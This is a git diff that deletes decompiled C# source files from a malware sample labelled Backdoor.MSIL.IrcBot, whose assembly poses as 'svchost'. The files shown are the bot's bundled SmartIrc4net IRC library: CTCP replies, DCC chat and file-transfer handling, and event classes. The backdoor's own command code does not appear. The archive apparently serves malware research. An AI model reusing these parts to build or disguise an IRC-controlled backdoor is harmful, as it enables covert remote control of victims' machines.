StringComparer.CurrentCultureIgnoreCase); - private string _CtcpUserInfo; - private string _CtcpUrl; - private string _CtcpSource; - internal DccSpeed Speed = DccSpeed.RfcSendAhead; - - public IPAddress ExternalIpAdress - { - get => this._ExternalIpAdress; - set => this._ExternalIpAdress = value; - } - - public ReadOnlyCollection DccConnections => new ReadOnlyCollection((IList) this._DccConnections); - - public Dictionary CtcpDelegates => this._CtcpDelegates; - - public string CtcpUserInfo - { - get => this._CtcpUserInfo; - set => this._CtcpUserInfo = value; - } - - public string CtcpUrl - { - get => this._CtcpUrl; - set => this._CtcpUrl = value; - } - - public string CtcpSource - { - get => this._CtcpSource; - set => this._CtcpSource = value; - } - - public event DccConnectionHandler OnDccChatRequestEvent; - - public void DccChatRequestEvent(DccEventArgs e) - { - if (this.OnDccChatRequestEvent == null) - return; - this.OnDccChatRequestEvent((object) this, e); - } - - public event DccSendRequestHandler OnDccSendRequestEvent; - - public void DccSendRequestEvent(DccSendRequestEventArgs e) - { - if (this.OnDccSendRequestEvent == null) - return; - this.OnDccSendRequestEvent((object) this, e); - } - - public event DccConnectionHandler OnDccChatStartEvent; - - public void DccChatStartEvent(DccEventArgs e) - { - if (this.OnDccChatStartEvent == null) - return; - this.OnDccChatStartEvent((object) this, e); - } - - public event DccConnectionHandler OnDccSendStartEvent; - - public void DccSendStartEvent(DccEventArgs e) - { - if (this.OnDccSendStartEvent == null) - return; - this.OnDccSendStartEvent((object) this, e); - } - - public event DccChatLineHandler OnDccChatReceiveLineEvent; - - public void DccChatReceiveLineEvent(DccChatEventArgs e) - { - if (this.OnDccChatReceiveLineEvent == null) - return; - this.OnDccChatReceiveLineEvent((object) this, e); - } - - public event DccSendPacketHandler OnDccSendReceiveBlockEvent; - - public void DccSendReceiveBlockEvent(DccSendEventArgs e) - { - if (this.OnDccSendReceiveBlockEvent == null) - return; - this.OnDccSendReceiveBlockEvent((object) this, e); - } - - public event DccChatLineHandler OnDccChatSentLineEvent; - - public void DccChatSentLineEvent(DccChatEventArgs e) - { - if (this.OnDccChatSentLineEvent == null) - return; - this.OnDccChatSentLineEvent((object) this, e); - } - - public event DccSendPacketHandler OnDccSendSentBlockEvent; - - internal void DccSendSentBlockEvent(DccSendEventArgs e) - { - if (this.OnDccSendSentBlockEvent == null) - return; - this.OnDccSendSentBlockEvent((object) this, e); - } - - public event DccConnectionHandler OnDccChatStopEvent; - - public void DccChatStopEvent(DccEventArgs e) - { - if (this.OnDccChatStopEvent == null) - return; - this.OnDccChatStopEvent((object) this, e); - } - - public event DccConnectionHandler OnDccSendStopEvent; - - public void DccSendStopEvent(DccEventArgs e) - { - if (this.OnDccSendStopEvent == null) - return; - this.OnDccSendStopEvent((object) this, e); - } - - public IrcFeatures() - { - this.OnCtcpRequest += new CtcpEventHandler(this.CtcpRequestsHandler); - this._CtcpDelegates.Add("version", new CtcpDelegate(this.CtcpVersionDelegate)); - this._CtcpDelegates.Add("clientinfo", new CtcpDelegate(this.CtcpClientInfoDelegate)); - this._CtcpDelegates.Add("time", new CtcpDelegate(this.CtcpTimeDelegate)); - this._CtcpDelegates.Add("userinfo", new CtcpDelegate(this.CtcpUserInfoDelegate)); - this._CtcpDelegates.Add("url", new CtcpDelegate(this.CtcpUrlDelegate)); - this._CtcpDelegates.Add("source", new CtcpDelegate(this.CtcpSourceDelegate)); - this._CtcpDelegates.Add("finger", new CtcpDelegate(this.CtcpFingerDelegate)); - this._CtcpDelegates.Add("dcc", new CtcpDelegate(this.CtcpDccDelegate)); - this._CtcpDelegates.Add("ping", new CtcpDelegate(this.CtcpPingDelegate)); - } - - public void InitDccChat(string user) => this.InitDccChat(user, false); - - public void InitDccChat(string user, bool passive) => this.InitDccChat(user, passive, Priority.Medium); - - public void InitDccChat(string user, bool passive, Priority priority) - { - DccChat dccChat = new DccChat(this, user, this._ExternalIpAdress, passive, priority); - this._DccConnections.Add((DccConnection) dccChat); - ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccChat).InitWork)); - this.RemoveInvalidDccConnections(); - } - - public void SendFile(string user, string filepath) - { - FileInfo fileInfo = new FileInfo(filepath); - if (!fileInfo.Exists) - return; - this.SendFile(user, (Stream) new FileStream(filepath, FileMode.Open), fileInfo.Name, fileInfo.Length, DccSpeed.RfcSendAhead, false, Priority.Medium); - } - - public void SendFile(string user, string filepath, bool passive) - { - FileInfo fileInfo = new FileInfo(filepath); - if (!fileInfo.Exists) - return; - this.SendFile(user, (Stream) new FileStream(filepath, FileMode.Open), fileInfo.Name, fileInfo.Length, DccSpeed.RfcSendAhead, passive, Priority.Medium); - } - - public void SendFile(string user, Stream file, string filename, long filesize) => this.SendFile(user, file, filename, filesize, DccSpeed.RfcSendAhead, false); - - public void SendFile( - string user, - Stream file, - string filename, - long filesize, - DccSpeed speed, - bool passive) - { - this.SendFile(user, file, filename, filesize, speed, passive, Priority.Medium); - } - - public void SendFile( - string user, - Stream file, - string filename, - long filesize, - DccSpeed speed, - bool passive, - Priority priority) - { - DccSend dccSend = new DccSend(this, user, this._ExternalIpAdress, file, filename, filesize, speed, passive, priority); - this._DccConnections.Add((DccConnection) dccSend); - ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccSend).InitWork)); - this.RemoveInvalidDccConnections(); - } - - private void CtcpRequestsHandler(object sender, CtcpEventArgs e) - { - if (this._CtcpDelegates.ContainsKey(e.CtcpCommand)) - this._CtcpDelegates[e.CtcpCommand](e); - this.RemoveInvalidDccConnections(); - } - - private void CtcpVersionDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "VERSION " + (this.CtcpVersion == null ? this.VersionString : this.CtcpVersion)); - - private void CtcpClientInfoDelegate(CtcpEventArgs e) - { - string message = "CLIENTINFO"; - foreach (KeyValuePair ctcpDelegate in this._CtcpDelegates) - message = message + " " + ctcpDelegate.Key.ToUpper(); - this.SendMessage(SendType.CtcpReply, e.Data.Nick, message); - } - - private void CtcpPingDelegate(CtcpEventArgs e) - { - if (e.Data.Message.Length > 7) - this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PING " + e.Data.Message.Substring(6, e.Data.Message.Length - 7)); - else - this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PING"); - } - - private void CtcpRfcPingDelegate(CtcpEventArgs e) - { - if (e.Data.Message.Length > 7) - this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PONG " + e.Data.Message.Substring(6, e.Data.Message.Length - 7)); - else - this.SendMessage(SendType.CtcpReply, e.Data.Nick, "PONG"); - } - - private void CtcpTimeDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "TIME " + DateTime.Now.ToString("r")); - - private void CtcpUserInfoDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "USERINFO " + (this.CtcpUserInfo == null ? "No user info given." : this.CtcpUserInfo)); - - private void CtcpUrlDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "URL " + (this.CtcpUrl == null ? "http://www.google.com" : this.CtcpUrl)); - - private void CtcpSourceDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "SOURCE " + (this.CtcpSource == null ? "http://smartirc4net.meebey.net" : this.CtcpSource)); - - private void CtcpFingerDelegate(CtcpEventArgs e) => this.SendMessage(SendType.CtcpReply, e.Data.Nick, "FINGER Don't touch little Helga there! "); - - private void CtcpDccDelegate(CtcpEventArgs e) - { - if (e.Data.MessageArray.Length < 2) - { - this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC missing parameters"); - } - else - { - switch (e.Data.MessageArray[1]) - { - case "CHAT": - DccChat dccChat = new DccChat(this, this._ExternalIpAdress, e); - this._DccConnections.Add((DccConnection) dccChat); - ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccChat).InitWork)); - break; - case "SEND": - if (e.Data.MessageArray.Length > 6 && this.FilterMarker(e.Data.MessageArray[6]) != "T") - { - long result = -1; - long.TryParse(this.FilterMarker(e.Data.MessageArray[6]), out result); - foreach (DccConnection dccConnection in this._DccConnections) - { - if (dccConnection.isSession(result)) - { - ((DccSend) dccConnection).SetRemote(e); - ((DccSend) dccConnection).AcceptRequest((Stream) null, 0L); - return; - } - } - this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid passive DCC"); - break; - } - DccSend dccSend = new DccSend(this, this._ExternalIpAdress, e); - this._DccConnections.Add((DccConnection) dccSend); - ThreadPool.QueueUserWorkItem(new WaitCallback(((DccConnection) dccSend).InitWork)); - break; - case "RESUME": - foreach (DccConnection dccConnection in this._DccConnections) - { - if (dccConnection is DccSend && ((DccSend) dccConnection).TryResume(e)) - return; - } - this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid DCC RESUME"); - break; - case "ACCEPT": - foreach (DccConnection dccConnection in this._DccConnections) - { - if (dccConnection is DccSend && ((DccSend) dccConnection).TryAccept(e)) - return; - } - this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG Invalid DCC ACCEPT"); - break; - case "XMIT": - this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC XMIT not implemented"); - break; - default: - this.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC " + e.CtcpParameter + " unavailable"); - break; - } - } - } - - private void RemoveInvalidDccConnections() - { - List dccConnectionList = new List(); - foreach (DccConnection dccConnection in this._DccConnections) - { - if (!dccConnection.Valid && !dccConnection.Connected) - dccConnectionList.Add(dccConnection); - } - foreach (DccConnection dccConnection in dccConnectionList) - this._DccConnections.Remove(dccConnection); - } - - private string FilterMarker(string msg) - { - string str = ""; - foreach (char ch in msg) - { - if (ch != '\u0001') - str += (string) (object) ch; - } - return str; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcMessageData.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcMessageData.cs deleted file mode 100644 index 8a781622..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcMessageData.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.IrcMessageData -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class IrcMessageData - { - private IrcClient _Irc; - private string _From; - private string _Nick; - private string _Ident; - private string _Host; - private string _Channel; - private string _Message; - private string[] _MessageArray; - private string _RawMessage; - private string[] _RawMessageArray; - private ReceiveType _Type; - private ReplyCode _ReplyCode; - - public IrcClient Irc => this._Irc; - - public string From => this._From; - - public string Nick => this._Nick; - - public string Ident => this._Ident; - - public string Host => this._Host; - - public string Channel => this._Channel; - - public string Message => this._Message; - - public string[] MessageArray => this._MessageArray; - - public string RawMessage => this._RawMessage; - - public string[] RawMessageArray => this._RawMessageArray; - - public ReceiveType Type => this._Type; - - public ReplyCode ReplyCode => this._ReplyCode; - - public IrcMessageData( - IrcClient ircclient, - string from, - string nick, - string ident, - string host, - string channel, - string message, - string rawmessage, - ReceiveType type, - ReplyCode replycode) - { - this._Irc = ircclient; - this._RawMessage = rawmessage; - this._RawMessageArray = rawmessage.Split(' '); - this._Type = type; - this._ReplyCode = replycode; - this._From = from; - this._Nick = nick; - this._Ident = ident; - this._Host = host; - this._Channel = channel; - if (message == null) - return; - this._Message = message; - this._MessageArray = message.Split(' '); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcUser.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcUser.cs deleted file mode 100644 index 2992dc89..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/IrcUser.cs +++ /dev/null @@ -1,101 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.IrcUser -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System.Collections.Specialized; - -namespace Meebey.SmartIrc4net -{ - public class IrcUser - { - private IrcClient _IrcClient; - private string _Nick; - private string _Ident; - private string _Host; - private string _Realname; - private bool _IsIrcOp; - private bool _IsRegistered; - private bool _IsAway; - private string _Server; - private int _HopCount = -1; - - internal IrcUser(string nickname, IrcClient ircclient) - { - this._IrcClient = ircclient; - this._Nick = nickname; - } - - public string Nick - { - get => this._Nick; - set => this._Nick = value; - } - - public string Ident - { - get => this._Ident; - set => this._Ident = value; - } - - public string Host - { - get => this._Host; - set => this._Host = value; - } - - public string Realname - { - get => this._Realname; - set => this._Realname = value; - } - - public bool IsIrcOp - { - get => this._IsIrcOp; - set => this._IsIrcOp = value; - } - - public bool IsRegistered - { - get => this._IsRegistered; - internal set => this._IsRegistered = value; - } - - public bool IsAway - { - get => this._IsAway; - set => this._IsAway = value; - } - - public string Server - { - get => this._Server; - set => this._Server = value; - } - - public int HopCount - { - get => this._HopCount; - set => this._HopCount = value; - } - - public string[] JoinedChannels - { - get - { - string[] channels = this._IrcClient.GetChannels(); - StringCollection stringCollection = new StringCollection(); - foreach (string channelname in channels) - { - if (this._IrcClient.GetChannel(channelname).UnsafeUsers.ContainsKey((object) this._Nick)) - stringCollection.Add(channelname); - } - string[] array = new string[stringCollection.Count]; - stringCollection.CopyTo(array, 0); - return array; - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventArgs.cs deleted file mode 100644 index a521b351..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventArgs.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.JoinEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class JoinEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - - public string Channel => this._Channel; - - public string Who => this._Who; - - internal JoinEventArgs(IrcMessageData data, string channel, string who) - : base(data) - { - this._Channel = channel; - this._Who = who; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventHandler.cs deleted file mode 100644 index 20450de3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/JoinEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.JoinEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void JoinEventHandler(object sender, JoinEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventArgs.cs deleted file mode 100644 index 05bc7fdb..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventArgs.cs +++ /dev/null @@ -1,38 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.KickEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class KickEventArgs : IrcEventArgs - { - private string _Channel; - private string _Who; - private string _Whom; - private string _KickReason; - - public string Channel => this._Channel; - - public string Who => this._Who; - - public string Whom => this._Whom; - - public string KickReason => this._KickReason; - - internal KickEventArgs( - IrcMessageData data, - string channel, - string who, - string whom, - string kickreason) - : base(data) - { - this._Channel = channel; - this._Who = who; - this._Whom = whom; - this._KickReason = kickreason; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventHandler.cs deleted file mode 100644 index 4400282a..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/KickEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.KickEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void KickEventHandler(object sender, KickEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventArgs.cs deleted file mode 100644 index 27bba0b8..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventArgs.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ListEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class ListEventArgs : IrcEventArgs - { - private ChannelInfo f_ListInfo; - - public ChannelInfo ListInfo => this.f_ListInfo; - - internal ListEventArgs(IrcMessageData data, ChannelInfo listInfo) - : base(data) - { - this.f_ListInfo = listInfo; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventHandler.cs deleted file mode 100644 index c67000a1..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ListEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.ListEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void ListEventHandler(object sender, ListEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventArgs.cs deleted file mode 100644 index 6c063873..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventArgs.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.MotdEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class MotdEventArgs : IrcEventArgs - { - private string _MotdMessage; - - public string MotdMessage => this._MotdMessage; - - internal MotdEventArgs(IrcMessageData data, string motdmsg) - : base(data) - { - this._MotdMessage = motdmsg; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventHandler.cs deleted file mode 100644 index 6f5b7114..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/MotdEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.MotdEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void MotdEventHandler(object sender, MotdEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventArgs.cs deleted file mode 100644 index f0bed08c..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventArgs.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.NamesEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public class NamesEventArgs : IrcEventArgs - { - private string _Channel; - private string[] _UserList; - - public string Channel => this._Channel; - - public string[] UserList => this._UserList; - - internal NamesEventArgs(IrcMessageData data, string channel, string[] userlist) - : base(data) - { - this._Channel = channel; - this._UserList = userlist; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventHandler.cs deleted file mode 100644 index d6cbcb31..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NamesEventHandler.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.NamesEventHandler -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -namespace Meebey.SmartIrc4net -{ - public delegate void NamesEventHandler(object sender, NamesEventArgs e); -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventArgs.cs deleted file mode 100644 index bc24e3d3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/NickChangeEventArgs.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Meebey.SmartIrc4net.NickChangeEventArgs -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, 